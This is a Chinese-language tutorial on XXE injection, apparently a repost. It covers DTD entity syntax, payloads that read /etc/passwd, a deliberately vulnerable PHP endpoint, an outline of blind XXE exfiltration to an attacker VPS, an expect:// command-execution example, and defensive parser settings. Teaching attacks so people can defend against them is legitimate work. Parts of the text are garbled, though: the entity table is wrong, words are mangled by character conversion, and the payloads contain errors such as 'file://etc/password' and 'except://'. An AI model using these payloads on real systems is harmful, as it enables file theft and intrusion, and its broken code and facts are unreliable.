天天看點

9、XXE漏洞9 XXE

9 XXE

概念

      XML External Entity Injection,即xml外部實體注入漏洞,發生在應用程式解析XML輸入時,美歐禁止外部實體的加載,導緻可加載惡意外部檔案和代碼,造成任意檔案讀取、指令執行、内網端口掃描、攻擊内網網站、發起DdoS攻擊等危害

觸發點

      往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導緻可上傳惡意xml檔案。

xml

      可擴充标記語言(Extensible Markup Language),不同于HTML(被設計用來顯示資料),XML是用來傳輸和存儲資料。XML沒有預定義标簽,允許自定義标簽和文檔結構,XML 被設計用來傳輸和存儲資料。

XML的文法規則:

• XML 文檔必須有一個根元素

• XML 元素都必須有一個關閉标簽

• XML 标簽對大小敏感

• XML 元素必須被正确的嵌套

• XML 屬性值必須加引号

XML中5個預定義的實體引用

<      >

&gt;      <

&amp;   &

&apos;    ‘

&quot;    “

DTD(文檔類型定義)

作用:定義XML文檔的合法構模組化塊

兩種建構方式:内部DTD聲明、外部DTD聲明(外部實體攻擊主要利用DTD的外部實體來進行注入的)

聲明方式:

·内部DTD聲明:<!DOCTYPE 根元素 [元素聲明]>

·外部DTD聲明:<!DOCTYPE 根元素 SYSTEM “檔案名”>

                                     

9、XXE漏洞9 XXE

内部聲明方式

9、XXE漏洞9 XXE

外部聲明方式

DTD實體構造:

DTD實體同樣有兩種建構方式:

内部實體聲明:<!ENTITY entity-name ‘entity-value’>

9、XXE漏洞9 XXE

外部實體聲明:<!ENTITY entity-name SYSTEM “URL/URL”>

9、XXE漏洞9 XXE

執行個體:

外部實體注入:

<?xml version=”1.0”?>

<!DOCTYPE hack[

<!ENTITY xxe SYSTEM “file://etc/password”>

]>      

上述代碼中,XML的外部實體“xxe”被賦予的值為:file:///etc/passwd,當解析xml文檔時,xxe會被替換為file:///ect/passwd的内容。

參數實體+外部實體注入:

<?xml version=”1.0”? encoiding=”utf-8”>

<!DOCTYPE hack[

      <!ENTITY % name SYSTEM “file://etc/password”>

      %name;

]>      

實體又分為一般實體和參數實體

1,一般實體的聲明文法:<!ENTITY 實體名 "實體内容“>

引用實體的方式:&實體名;

2,參數實體隻能在DTD中使用,參數實體的聲明格式: <!ENTITY % 實體名 引用實體的方式:%實體名;

XXE漏洞攻擊主要是利用了DTD引用外部實體導緻的漏洞。

攻擊思路

• 1. 引用外部實體遠端檔案讀取(有回顯)

<?php

header("content-type:text/html;charset=utf-8");

date_default_timezone_set("PRC");

$data = file_get_contents('php://input');

$xml = simplexml_load_string($data);

echo date('Y-m-d H:i:s',time())."\n\r";

echo $xml->login;

?>      

simplexml_load_string() 函數轉換形式良好的 XML 字元串為SimpleXMLElement 對象。

第一步:

9、XXE漏洞9 XXE

第二步:修改post内容

9、XXE漏洞9 XXE
9、XXE漏洞9 XXE

• 2. Blind XXE(先做記錄)

      如果伺服器沒有回顯,隻能使用Blind XXE漏洞來建構一條外帶資料(OOB)

通道來讀取資料。是以,在沒有回顯的情況下如何來利用XXE

      思路:

      1. 用戶端發送payload 1給web伺服器

        2. web伺服器向vps擷取惡意DTD,并執行檔案讀取payload2

        3. web伺服器帶着回顯結果通路VPS上特定的FTP或者HTTP

     4. 通過VPS獲得回顯(nc監聽端口)

9、XXE漏洞9 XXE

• 3. php指令執行

php環境下,xml指令執行需要php裝有expect擴充,但是該擴充預設沒

有安裝,是以一般來說,比較難利用,這裡就隻給出代碼了

<?php

$xml = <<<EOF

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY f SYSTEM "except://ifconfig">

]>

<x>&f;</x>

EOF;

$data = simplexml_load_string($xml);

print_r($data);

?>      

XXE防禦:

1、過濾使用者提供的XML資料

2、過濾關鍵字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。

3、不允許XML中含有自己定義的DTD

4、使用開發語言提供的禁用外部實體的方法

      PHP:

      libxml_disable_entity_loader(true);

      JAVA:

      DocumentBuilderFactory dbf

      =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

      PYTHON:

      from lxml import etree

      xmlData =

      etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

轉載于:https://www.cnblogs.com/guike/p/11189856.html